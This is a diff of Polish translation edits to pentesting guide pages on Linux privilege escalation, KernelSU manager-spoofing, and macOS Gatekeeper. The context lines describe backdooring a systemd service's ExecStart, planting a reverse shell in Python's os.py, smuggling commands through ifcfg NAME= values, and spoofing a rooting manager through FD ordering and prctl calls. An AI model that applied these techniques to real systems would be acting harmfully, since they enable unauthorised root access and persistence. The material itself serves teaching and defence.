Zauważ, że jeśli użytkownik używa innej powłoki (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Możesz znaleźć inny przykład w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
|
||||
|
||||
@ -1004,7 +1004,7 @@ sudo ls
|
||||
|
||||
Plik `/etc/ld.so.conf` wskazuje **skąd pochodzą załadowane pliki konfiguracyjne**. Zazwyczaj plik ten zawiera następującą ścieżkę: `include /etc/ld.so.conf.d/*.conf`
|
||||
|
||||
To oznacza, że pliki konfiguracyjne z `/etc/ld.so.conf.d/*.conf` będą odczytywane. Te pliki konfiguracyjne **wskazują na inne foldery**, w których **biblioteki** będą **wyszukiwane**. Na przykład, zawartość `/etc/ld.so.conf.d/libc.conf` to `/usr/local/lib`. **To oznacza, że system będzie szukał bibliotek w `/usr/local/lib`**.
|
||||
Oznacza to, że pliki konfiguracyjne z `/etc/ld.so.conf.d/*.conf` będą odczytywane. Te pliki konfiguracyjne **wskazują na inne foldery**, w których **biblioteki** będą **wyszukiwane**. Na przykład, zawartość `/etc/ld.so.conf.d/libc.conf` to `/usr/local/lib`. **Oznacza to, że system będzie szukał bibliotek w `/usr/local/lib`**.
|
||||
|
||||
Jeśli z jakiegoś powodu **użytkownik ma uprawnienia do zapisu** w którejkolwiek z wskazanych ścieżek: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, dowolny plik w `/etc/ld.so.conf.d/` lub dowolny folder w pliku konfiguracyjnym w `/etc/ld.so.conf.d/*.conf`, może być w stanie podnieść swoje uprawnienia.\
|
||||
Zobacz **jak wykorzystać tę błędną konfigurację** na następnej stronie:
|
||||
@ -1058,11 +1058,11 @@ linux-capabilities.md
|
||||
## Directory permissions
|
||||
|
||||
W katalogu, **bit dla "wykonania"** oznacza, że użytkownik może "**cd**" do folderu.\
|
||||
**Bit "odczytu"** oznacza, że użytkownik może **wylistować** **pliki**, a **bit "zapisu"** oznacza, że użytkownik może **usuwać** i **tworzyć** nowe **pliki**.
|
||||
Bit **"odczytu"** oznacza, że użytkownik może **wylistować** **pliki**, a bit **"zapisu"** oznacza, że użytkownik może **usuwać** i **tworzyć** nowe **pliki**.
|
||||
|
||||
## ACLs
|
||||
|
||||
Listy kontroli dostępu (ACLs) reprezentują drugą warstwę dyskrecjonalnych uprawnień, zdolnych do **przesłaniania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do plików lub katalogów, pozwalając lub odmawiając praw konkretnym użytkownikom, którzy nie są właścicielami ani częścią grupy. Ten poziom **szczegółowości zapewnia dokładniejsze zarządzanie dostępem**. Dalsze szczegóły można znaleźć [**tutaj**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
Listy Kontroli Dostępu (ACLs) reprezentują drugą warstwę dyskrecjonalnych uprawnień, zdolnych do **przysłaniania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do plików lub katalogów, pozwalając lub odmawiając praw konkretnym użytkownikom, którzy nie są właścicielami ani częścią grupy. Ten poziom **szczegółowości zapewnia dokładniejsze zarządzanie dostępem**. Dalsze szczegóły można znaleźć [**tutaj**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
|
||||
**Nadaj** użytkownikowi "kali" uprawnienia do odczytu i zapisu dla pliku:
|
||||
```bash
|
||||
@ -1117,14 +1117,14 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
|
||||
# If you are root or devs you can access it
|
||||
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
|
||||
```
|
||||
Sprawdź **Valentine box from HTB** jako przykład.
|
||||
Sprawdź **Valentine box from HTB** dla przykładu.
|
||||
|
||||
## SSH
|
||||
|
||||
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
|
||||
|
||||
Wszystkie klucze SSL i SSH generowane na systemach opartych na Debianie (Ubuntu, Kubuntu itp.) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte tym błędem.\
|
||||
Błąd ten występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ **możliwe były tylko 32 768 wariantów**. Oznacza to, że wszystkie możliwości można obliczyć i **mając publiczny klucz ssh, można wyszukiwać odpowiadający klucz prywatny**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
Błąd ten występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ **możliwe były tylko 32,768 wariantów**. Oznacza to, że wszystkie możliwości można obliczyć i **mając publiczny klucz ssh, można wyszukiwać odpowiadający klucz prywatny**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### Interesujące wartości konfiguracyjne SSH
|
||||
|
||||
@ -1181,7 +1181,7 @@ Jeśli znajdziesz jakikolwiek dziwny skrypt profilu, powinieneś sprawdzić go p
|
||||
|
||||
### Pliki Passwd/Shadow
|
||||
|
||||
W zależności od systemu operacyjnego pliki `/etc/passwd` i `/etc/shadow` mogą mieć inną nazwę lub może istnieć ich kopia zapasowa. Dlatego zaleca się **znalezienie ich wszystkich** i **sprawdzenie, czy możesz je odczytać**, aby zobaczyć **czy znajdują się w nich hashe**:
|
||||
W zależności od systemu operacyjnego pliki `/etc/passwd` i `/etc/shadow` mogą mieć inną nazwę lub może istnieć ich kopia zapasowa. Dlatego zaleca się **znalezienie ich wszystkich** i **sprawdzenie, czy możesz je odczytać**, aby zobaczyć **czy znajdują się w nich hasze**:
|
||||
```bash
|
||||
#Passwd equivalent files
|
||||
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
@ -1216,12 +1216,12 @@ su - dummy
|
||||
```
|
||||
UWAGA: Na platformach BSD `/etc/passwd` znajduje się w `/etc/pwd.db` oraz `/etc/master.passwd`, a także `/etc/shadow` jest przemianowane na `/etc/spwd.db`.
|
||||
|
||||
Powinieneś sprawdzić, czy możesz **zapisać w niektórych wrażliwych plikach**. Na przykład, czy możesz zapisać w jakimś **pliku konfiguracyjnym usługi**?
|
||||
Powinieneś sprawdzić, czy możesz **zapisać w niektórych wrażliwych plikach**. Na przykład, czy możesz zapisać w jakimś **plik konfiguracyjny usługi**?
|
||||
```bash
|
||||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
|
||||
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
|
||||
```
|
||||
Na przykład, jeśli maszyna działa na serwerze **tomcat** i możesz **zmodyfikować plik konfiguracyjny usługi Tomcat w /etc/systemd/,** to możesz zmodyfikować linie:
|
||||
Na przykład, jeśli maszyna działa na serwerze **tomcat** i możesz **zmodyfikować plik konfiguracyjny usługi Tomcat w /etc/systemd/,** wtedy możesz zmodyfikować linie:
|
||||
```
|
||||
ExecStart=/path/to/backdoor
|
||||
User=root
|
||||
@ -1319,7 +1319,7 @@ Nie zamierzam tutaj wymieniać, jak to wszystko zrobić, ale jeśli jesteś zain
|
||||
|
||||
### Python library hijacking
|
||||
|
||||
Jeśli wiesz, **skąd** skrypt pythonowy ma być uruchomiony i **możesz pisać w** tym folderze lub **możesz modyfikować biblioteki pythonowe**, możesz zmodyfikować bibliotekę OS i wprowadzić do niej backdoora (jeśli możesz pisać tam, gdzie skrypt pythonowy ma być uruchomiony, skopiuj i wklej bibliotekę os.py).
|
||||
Jeśli wiesz, **skąd** skrypt pythonowy będzie wykonywany i **możesz pisać w** tym folderze lub **możesz modyfikować biblioteki python**, możesz zmodyfikować bibliotekę OS i wprowadzić do niej backdoora (jeśli możesz pisać tam, gdzie skrypt pythonowy będzie wykonywany, skopiuj i wklej bibliotekę os.py).
|
||||
|
||||
Aby **wprowadzić backdoora do biblioteki**, po prostu dodaj na końcu biblioteki os.py następującą linię (zmień IP i PORT):
|
||||
```python
|
||||
@ -1336,17 +1336,17 @@ Szczegółowe informacje na temat luki można znaleźć na tej stronie: [https:/
|
||||
|
||||
Możesz wykorzystać tę lukę za pomocą [**logrotten**](https://github.com/whotwagner/logrotten).
|
||||
|
||||
Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(logi nginx),** więc za każdym razem, gdy stwierdzisz, że możesz zmieniać logi, sprawdź, kto zarządza tymi logami i sprawdź, czy możesz uzyskać podwyższone uprawnienia, zastępując logi dowiązaniami symbolicznymi.
|
||||
Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(logi nginx),** więc za każdym razem, gdy stwierdzisz, że możesz zmieniać logi, sprawdź, kto zarządza tymi logami i sprawdź, czy możesz podnieść uprawnienia, zastępując logi dowiązaniami symbolicznymi.
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
**Referencja luki:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
Jeśli z jakiegokolwiek powodu użytkownik jest w stanie **zapisać** skrypt `ifcf-<cokolwiek>` do _/etc/sysconfig/network-scripts_ **lub** może **dostosować** istniejący, to twój **system jest przejęty**.
|
||||
Jeśli, z jakiegokolwiek powodu, użytkownik jest w stanie **zapisać** skrypt `ifcf-<cokolwiek>` do _/etc/sysconfig/network-scripts_ **lub** może **dostosować** istniejący, to twój **system jest przejęty**.
|
||||
|
||||
Skrypty sieciowe, takie jak _ifcg-eth0_, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są \~sourced\~ w systemie Linux przez Network Manager (dispatcher.d).
|
||||
|
||||
W moim przypadku atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany poprawnie. Jeśli masz **białą/pustą przestrzeń w nazwie, system próbuje wykonać część po białej/pustej przestrzeni**. Oznacza to, że **wszystko po pierwszej pustej przestrzeni jest wykonywane jako root**.
|
||||
W moim przypadku, atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany poprawnie. Jeśli masz **białą/pustą przestrzeń w nazwie, system próbuje wykonać część po białej/pustej przestrzeni**. Oznacza to, że **wszystko po pierwszej pustej przestrzeni jest wykonywane jako root**.
|
||||
|
||||
Na przykład: _/etc/sysconfig/network-scripts/ifcfg-1337_
|
||||
```bash
|
||||
@ -1356,9 +1356,9 @@ DEVICE=eth0
|
||||
```
|
||||
### **init, init.d, systemd i rc.d**
|
||||
|
||||
Katalog `/etc/init.d` jest domem dla **skryptów** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuksie**. Zawiera skrypty do `start`, `stop`, `restart`, a czasami `reload` usług. Mogą być one wykonywane bezpośrednio lub przez dowiązania symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywną ścieżką w systemach Redhat jest `/etc/rc.d/init.d`.
|
||||
Katalog `/etc/init.d` jest domem dla **skryptów** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuksie**. Zawiera skrypty do `start`, `stop`, `restart`, a czasami `reload` usług. Mogą być one wykonywane bezpośrednio lub przez linki symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywną ścieżką w systemach Redhat jest `/etc/rc.d/init.d`.
|
||||
|
||||
Z drugiej strony, `/etc/init` jest związany z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zadań zarządzania usługami. Mimo przejścia na Upstart, skrypty SysVinit są nadal wykorzystywane obok konfiguracji Upstart z powodu warstwy zgodności w Upstart.
|
||||
Z drugiej strony, `/etc/init` jest związany z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zadań zarządzania usługami. Mimo przejścia na Upstart, skrypty SysVinit są nadal wykorzystywane obok konfiguracji Upstart z powodu warstwy kompatybilności w Upstart.
|
||||
|
||||
**systemd** pojawia się jako nowoczesny menedżer inicjalizacji i usług, oferujący zaawansowane funkcje, takie jak uruchamianie demonów na żądanie, zarządzanie automontowaniem i migawki stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych i `/etc/systemd/system/` dla modyfikacji administratora, usprawniając proces administracji systemem.
|
||||
|
||||
|
@ -7,7 +7,7 @@ Frameworki rootujące, takie jak KernelSU, APatch, SKRoot i Magisk, często łat
|
||||
Ta strona abstrahuje techniki i pułapki odkryte w badaniach publicznych (szczególnie analiza KernelSU v0.5.7 przez Zimperium), aby pomóc zarówno zespołom red, jak i blue w zrozumieniu powierzchni ataku, prymitywów eksploatacji i solidnych środków zaradczych.
|
||||
|
||||
---
|
||||
## Wzorzec architektury: syscall-hooked manager channel
|
||||
## Wzorzec architektury: kanał menedżera z podłączonym syscall
|
||||
|
||||
- Moduł/łatka jądra podłącza syscall (zwykle prctl), aby odbierać "komendy" z przestrzeni użytkownika.
|
||||
- Protokół zazwyczaj wygląda następująco: magic_value, command_id, arg_ptr/len ...
|
||||
@ -16,11 +16,11 @@ Ta strona abstrahuje techniki i pułapki odkryte w badaniach publicznych (szczeg
|
||||
- Zarządzaj listami dozwolonymi/zakazanymi dla su
|
||||
- Dostosuj politykę SELinux (np. CMD_SET_SEPOLICY)
|
||||
- Zapytaj o wersję/konfigurację
|
||||
- Ponieważ każda aplikacja może wywoływać syscalls, poprawność uwierzytelniania menedżera jest kluczowa.
|
||||
- Ponieważ każda aplikacja może wywoływać syscall, poprawność uwierzytelniania menedżera jest krytyczna.
|
||||
|
||||
Przykład (projekt KernelSU):
|
||||
- Podłączony syscall: prctl
|
||||
- Magiczna wartość do przekierowania do handlera KernelSU: 0xDEADBEEF
|
||||
- Magiczna wartość do przekierowania do obsługi KernelSU: 0xDEADBEEF
|
||||
- Komendy obejmują: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT, itd.
|
||||
|
||||
---
|
||||
@ -40,14 +40,14 @@ Gdy przestrzeń użytkownika wywołuje prctl(0xDEADBEEF, CMD_BECOME_MANAGER, dat
|
||||
- Iteruj przez otwarte deskryptory plików (FD) procesu wywołującego.
|
||||
- Wybierz pierwszy plik, którego ścieżka pasuje do /data/app/*/base.apk.
|
||||
- Przeanalizuj podpis APK v2 i zweryfikuj go w stosunku do oficjalnego certyfikatu menedżera.
|
||||
- Odniesienia: manager.c (iteracja FDs), apk_sign.c (weryfikacja APK v2).
|
||||
- Odniesienia: manager.c (iteracja FD), apk_sign.c (weryfikacja APK v2).
|
||||
|
||||
Jeśli wszystkie kontrole przejdą, jądro tymczasowo przechowuje UID menedżera i akceptuje uprzywilejowane komendy z tego UID, aż do resetu.
|
||||
|
||||
---
|
||||
## Klasa podatności: zaufanie "pierwszemu pasującemu APK" z iteracji FD
|
||||
|
||||
Jeśli sprawdzenie podpisu wiąże się z "pierwszym pasującym /data/app/*/base.apk" znalezionym w tabeli FD procesu, w rzeczywistości nie weryfikuje to pakietu wywołującego. Atakujący może wcześniej umieścić prawidłowo podpisany APK (prawdziwego menedżera), aby pojawił się wcześniej na liście FD niż jego własny base.apk.
|
||||
Jeśli kontrola podpisu wiąże się z "pierwszym pasującym /data/app/*/base.apk" znalezionym w tabeli FD procesu, w rzeczywistości nie weryfikuje własnego pakietu wywołującego. Atakujący może wcześniej umieścić prawidłowo podpisany APK (prawdziwego menedżera), aby pojawił się wcześniej na liście FD niż ich własny base.apk.
|
||||
|
||||
To zaufanie przez pośrednictwo pozwala aplikacji bez uprawnień na podszywanie się pod menedżera bez posiadania klucza podpisującego menedżera.
|
||||
|
||||
@ -68,14 +68,14 @@ Kluczowe właściwości wykorzystywane:
|
||||
|
||||
Kroki na wysokim poziomie:
|
||||
1) Zbuduj prawidłową ścieżkę do swojego katalogu danych aplikacji, aby spełnić kontrole prefiksu i własności.
|
||||
2) Upewnij się, że prawdziwy plik APK menedżera KernelSU jest otwarty na niższym numerze FD niż twój własny base.apk.
|
||||
2) Upewnij się, że prawdziwy plik APK menedżera KernelSU jest otwarty na FD o niższym numerze niż twój własny base.apk.
|
||||
3) Wywołaj prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) aby przejść kontrole.
|
||||
4) Wydaj uprzywilejowane komendy, takie jak CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY, aby utrzymać podniesienie uprawnień.
|
||||
|
||||
Praktyczne uwagi dotyczące kroku 2 (kolejność FD):
|
||||
- Zidentyfikuj FD swojego procesu dla swojego /data/app/*/base.apk, przechodząc przez symlinki /proc/self/fd.
|
||||
- Zamknij niski FD (np. stdin, fd 0) i najpierw otwórz prawdziwy plik APK menedżera, aby zajmował fd 0 (lub dowolny indeks niższy niż twój własny fd base.apk).
|
||||
- Spakuj prawdziwy plik APK menedżera z twoją aplikacją, aby jego ścieżka spełniała naiwne filtry jądra. Na przykład umieść go w podścieżce pasującej do /data/app/*/base.apk.
|
||||
- Spakuj prawdziwy plik APK menedżera z swoją aplikacją, aby jego ścieżka spełniała naiwne filtry jądra. Na przykład umieść go w podścieżce pasującej do /data/app/*/base.apk.
|
||||
|
||||
Przykładowe fragmenty kodu (Android/Linux, tylko ilustracyjne):
|
||||
|
||||
@ -156,7 +156,7 @@ Dla deweloperów frameworków:
|
||||
- Jeśli tylko jądro, użyj stabilnej tożsamości wywołującego (uprawnienia zadania) i zweryfikuj na stabilnym źródle prawdy zarządzanym przez init/użytkownika, a nie FD procesów.
|
||||
- Unikaj sprawdzania prefiksów ścieżek jako tożsamości; są one trywialnie spełniane przez wywołującego.
|
||||
- Użyj wyzwania opartego na nonce w odpowiedzi przez kanał i wyczyść wszelkie pamiętane tożsamości menedżera przy uruchomieniu lub przy kluczowych zdarzeniach.
|
||||
- Rozważ użycie uwierzytelnionego IPC opartego na binderze zamiast przeciążania ogólnych wywołań systemowych, gdy to możliwe.
|
||||
- Rozważ uwierzytelnioną IPC opartą na binderze zamiast przeciążania ogólnych wywołań systemowych, gdy to możliwe.
|
||||
|
||||
Dla obrońców/zespół niebieski:
|
||||
- Wykryj obecność frameworków do rootowania i procesów menedżera; monitoruj wywołania prctl z podejrzanymi magicznymi stałymi (np. 0xDEADBEEF), jeśli masz telemetrię jądra.
|
||||
@ -175,7 +175,7 @@ Ograniczenia ataku:
|
||||
- Magisk: CVE-2024-48336 (MagiskEoP) pokazał, że nawet dojrzałe ekosystemy mogą być podatne na fałszowanie tożsamości prowadzące do wykonania kodu z roota w kontekście menedżera.
|
||||
|
||||
---
|
||||
## Odnośniki
|
||||
## Odniesienia
|
||||
|
||||
- [Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device)
|
||||
- [KernelSU v0.5.7 – core_hook.c path checks (L193, L201)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L193)
|
||||
|
@ -4,15 +4,15 @@
|
||||
|
||||
## Gatekeeper
|
||||
|
||||
**Gatekeeper** to funkcja zabezpieczeń opracowana dla systemów operacyjnych Mac, mająca na celu zapewnienie, że użytkownicy **uruchamiają tylko zaufane oprogramowanie** na swoich systemach. Działa poprzez **weryfikację oprogramowania**, które użytkownik pobiera i próbuje otworzyć z **źródeł zewnętrznych do App Store**, takich jak aplikacja, wtyczka lub pakiet instalacyjny.
|
||||
**Gatekeeper** to funkcja zabezpieczeń opracowana dla systemów operacyjnych Mac, mająca na celu zapewnienie, że użytkownicy **uruchamiają tylko zaufane oprogramowanie** na swoich systemach. Działa poprzez **weryfikację oprogramowania**, które użytkownik pobiera i próbuje otworzyć z **źródeł spoza App Store**, takich jak aplikacja, wtyczka lub pakiet instalacyjny.
|
||||
|
||||
Kluczowym mechanizmem Gatekeepera jest jego **proces weryfikacji**. Sprawdza, czy pobrane oprogramowanie jest **podpisane przez uznanego dewelopera**, co zapewnia autentyczność oprogramowania. Ponadto ustala, czy oprogramowanie jest **notaryzowane przez Apple**, potwierdzając, że nie zawiera znanej złośliwej zawartości i nie zostało zmienione po notaryzacji.
|
||||
Kluczowym mechanizmem Gatekeepera jest jego **proces weryfikacji**. Sprawdza, czy pobrane oprogramowanie jest **podpisane przez uznanego dewelopera**, co zapewnia autentyczność oprogramowania. Ponadto ustala, czy oprogramowanie jest **notaryzowane przez Apple**, potwierdzając, że nie zawiera znanej złośliwej zawartości i nie zostało zmodyfikowane po notaryzacji.
|
||||
|
||||
Dodatkowo, Gatekeeper wzmacnia kontrolę i bezpieczeństwo użytkownika, **prosząc użytkowników o zatwierdzenie otwarcia** pobranego oprogramowania po raz pierwszy. To zabezpieczenie pomaga zapobiegać przypadkowemu uruchamianiu przez użytkowników potencjalnie szkodliwego kodu wykonywalnego, który mogli pomylić z nieszkodliwym plikiem danych.
|
||||
|
||||
### Podpisy aplikacji
|
||||
|
||||
Podpisy aplikacji, znane również jako podpisy kodu, są kluczowym elementem infrastruktury zabezpieczeń Apple. Służą do **weryfikacji tożsamości autora oprogramowania** (dewelopera) oraz do zapewnienia, że kod nie został zmieniony od momentu ostatniego podpisania.
|
||||
Podpisy aplikacji, znane również jako podpisy kodu, są kluczowym elementem infrastruktury zabezpieczeń Apple. Służą do **weryfikacji tożsamości autora oprogramowania** (dewelopera) oraz do zapewnienia, że kod nie został zmodyfikowany od momentu ostatniego podpisania.
|
||||
|
||||
Oto jak to działa:
|
||||
|
||||
@ -20,7 +20,7 @@ Oto jak to działa:
|
||||
2. **Dystrybucja aplikacji:** Podpisana aplikacja jest następnie dystrybuowana do użytkowników wraz z certyfikatem dewelopera, który zawiera odpowiadający klucz publiczny.
|
||||
3. **Weryfikacja aplikacji:** Gdy użytkownik pobiera i próbuje uruchomić aplikację, jego system operacyjny Mac używa klucza publicznego z certyfikatu dewelopera do odszyfrowania skrótu. Następnie ponownie oblicza skrót na podstawie aktualnego stanu aplikacji i porównuje go z odszyfrowanym skrótem. Jeśli się zgadzają, oznacza to, że **aplikacja nie została zmodyfikowana** od momentu jej podpisania przez dewelopera, a system zezwala na jej uruchomienie.
|
||||
|
||||
Podpisy aplikacji są istotną częścią technologii Gatekeeper Apple. Gdy użytkownik próbuje **otworzyć aplikację pobraną z internetu**, Gatekeeper weryfikuje podpis aplikacji. Jeśli jest podpisana certyfikatem wydanym przez Apple dla znanego dewelopera i kod nie został zmieniony, Gatekeeper zezwala na uruchomienie aplikacji. W przeciwnym razie blokuje aplikację i informuje użytkownika.
|
||||
Podpisy aplikacji są istotną częścią technologii Gatekeeper Apple. Gdy użytkownik próbuje **otworzyć aplikację pobraną z internetu**, Gatekeeper weryfikuje podpis aplikacji. Jeśli jest podpisana certyfikatem wydanym przez Apple dla znanego dewelopera i kod nie został zmodyfikowany, Gatekeeper zezwala na uruchomienie aplikacji. W przeciwnym razie blokuje aplikację i informuje użytkownika.
|
||||
|
||||
Począwszy od macOS Catalina, **Gatekeeper sprawdza również, czy aplikacja została notaryzowana** przez Apple, co dodaje dodatkową warstwę zabezpieczeń. Proces notaryzacji sprawdza aplikację pod kątem znanych problemów z bezpieczeństwem i złośliwego kodu, a jeśli te kontrole przejdą, Apple dodaje bilet do aplikacji, który Gatekeeper może zweryfikować.
|
||||
|
||||
@ -45,11 +45,11 @@ codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
### Notarization
|
||||
|
||||
Proces notaryzacji Apple'a służy jako dodatkowe zabezpieczenie chroniące użytkowników przed potencjalnie szkodliwym oprogramowaniem. Polega on na **przesłaniu aplikacji przez dewelopera do badania** przez **Usługę Notaryzacyjną Apple'a**, której nie należy mylić z Przeglądem Aplikacji. Usługa ta jest **automatycznym systemem**, który dokładnie sprawdza przesłane oprogramowanie pod kątem obecności **złośliwej zawartości** oraz wszelkich potencjalnych problemów z podpisywaniem kodu.
|
||||
Proces notaryzacji Apple'a służy jako dodatkowe zabezpieczenie chroniące użytkowników przed potencjalnie szkodliwym oprogramowaniem. Polega on na **przesłaniu aplikacji przez dewelopera do zbadania** przez **Usługę Notarialną Apple'a**, której nie należy mylić z Przeglądem Aplikacji. Usługa ta jest **automatycznym systemem**, który dokładnie sprawdza przesłane oprogramowanie pod kątem obecności **złośliwej zawartości** oraz wszelkich potencjalnych problemów z podpisywaniem kodu.
|
||||
|
||||
Jeśli oprogramowanie **przejdzie** tę inspekcję bez wzbudzania jakichkolwiek obaw, Usługa Notaryzacyjna generuje bilet notaryzacyjny. Deweloper jest następnie zobowiązany do **dołączenia tego biletu do swojego oprogramowania**, co nazywane jest 'staplingiem.' Ponadto, bilet notaryzacyjny jest również publikowany online, gdzie Gatekeeper, technologia zabezpieczeń Apple'a, może go uzyskać.
|
||||
Jeśli oprogramowanie **przejdzie** tę inspekcję bez wzbudzania jakichkolwiek obaw, Usługa Notarialna generuje bilet notarialny. Deweloper jest następnie zobowiązany do **dołączenia tego biletu do swojego oprogramowania**, co nazywane jest 'staplingiem.' Ponadto, bilet notarialny jest również publikowany online, gdzie Gatekeeper, technologia zabezpieczeń Apple'a, może go uzyskać.
|
||||
|
||||
Przy pierwszej instalacji lub uruchomieniu oprogramowania przez użytkownika, istnienie biletu notaryzacyjnego - czy to dołączonego do pliku wykonywalnego, czy znalezionego online - **informuje Gatekeeper, że oprogramowanie zostało notaryzowane przez Apple'a**. W rezultacie, Gatekeeper wyświetla opisową wiadomość w początkowym oknie dialogowym uruchamiania, wskazując, że oprogramowanie przeszło kontrole pod kątem złośliwej zawartości przez Apple'a. Proces ten zwiększa zaufanie użytkowników do bezpieczeństwa oprogramowania, które instalują lub uruchamiają na swoich systemach.
|
||||
Przy pierwszej instalacji lub uruchomieniu oprogramowania przez użytkownika, istnienie biletu notarialnego - czy to dołączonego do pliku wykonywalnego, czy znalezionego online - **informuje Gatekeeper, że oprogramowanie zostało notarialnie zatwierdzone przez Apple'a**. W rezultacie, Gatekeeper wyświetla opisową wiadomość w początkowym oknie dialogowym uruchamiania, wskazując, że oprogramowanie przeszło kontrole pod kątem złośliwej zawartości przez Apple'a. Proces ten zwiększa zaufanie użytkowników do bezpieczeństwa oprogramowania, które instalują lub uruchamiają na swoich systemach.
|
||||
|
||||
### spctl & syspolicyd
|
||||
|
||||
@ -86,7 +86,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an
|
||||
```
|
||||
**`syspolicyd`** również udostępnia serwer XPC z różnymi operacjami, takimi jak `assess`, `update`, `record` i `cancel`, które są również dostępne za pomocą **`Security.framework`'s `SecAssessment*`** API, a **`spctl`** faktycznie komunikuje się z **`syspolicyd`** za pośrednictwem XPC.
|
||||
|
||||
Zauważ, jak pierwsza zasada kończy się na "**App Store**", a druga na "**Developer ID**" oraz że w poprzednim obrazie było **włączone wykonywanie aplikacji z App Store i zidentyfikowanych deweloperów**.\
|
||||
Zauważ, jak pierwsza zasada kończy się na "**App Store**", a druga na "**Developer ID**" i że w poprzednim obrazie było **włączone wykonywanie aplikacji z App Store i zidentyfikowanych deweloperów**.\
|
||||
Jeśli **zmienisz** to ustawienie na App Store, zasady "**Notarized Developer ID" znikną**.
|
||||
|
||||
Istnieją również tysiące zasad **typu GKE**:
|
||||
@ -126,7 +126,7 @@ Można **sprawdzić, czy aplikacja będzie dozwolona przez GateKeeper** za pomoc
|
||||
```bash
|
||||
spctl --assess -v /Applications/App.app
|
||||
```
|
||||
Możliwe jest dodanie nowych reguł w GateKeeper, aby zezwolić na uruchamianie niektórych aplikacji za pomocą:
|
||||
Możliwe jest dodanie nowych reguł w GateKeeper, aby zezwolić na uruchamianie określonych aplikacji za pomocą:
|
||||
```bash
|
||||
# Check if allowed - nop
|
||||
spctl --assess -v /Applications/App.app
|
||||
@ -145,7 +145,7 @@ Odnośnie **rozszerzeń jądra**, folder `/var/db/SystemPolicyConfiguration` zaw
|
||||
|
||||
#### Zarządzanie Gatekeeperem w macOS 15 (Sequoia) i nowszych
|
||||
|
||||
Począwszy od macOS 15 Sequoia, użytkownicy końcowi nie mogą już przełączać polityki Gatekeepera z `spctl`. Zarządzanie odbywa się za pośrednictwem Ustawień systemowych lub poprzez wdrożenie profilu konfiguracyjnego MDM z ładunkiem `com.apple.systempolicy.control`. Przykładowy fragment profilu, aby zezwolić na App Store i zidentyfikowanych deweloperów (ale nie "Wszędzie"):
|
||||
Począwszy od macOS 15 Sequoia, użytkownicy końcowi nie mogą już przełączać polityki Gatekeepera za pomocą `spctl`. Zarządzanie odbywa się za pośrednictwem Ustawień systemowych lub poprzez wdrożenie profilu konfiguracyjnego MDM z ładunkiem `com.apple.systempolicy.control`. Przykładowy fragment profilu, aby zezwolić na App Store i zidentyfikowanych deweloperów (ale nie "Wszędzie"):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -187,7 +187,7 @@ Po **pobraniu** aplikacji lub pliku, konkretne aplikacje macOS, takie jak przegl
|
||||
|
||||
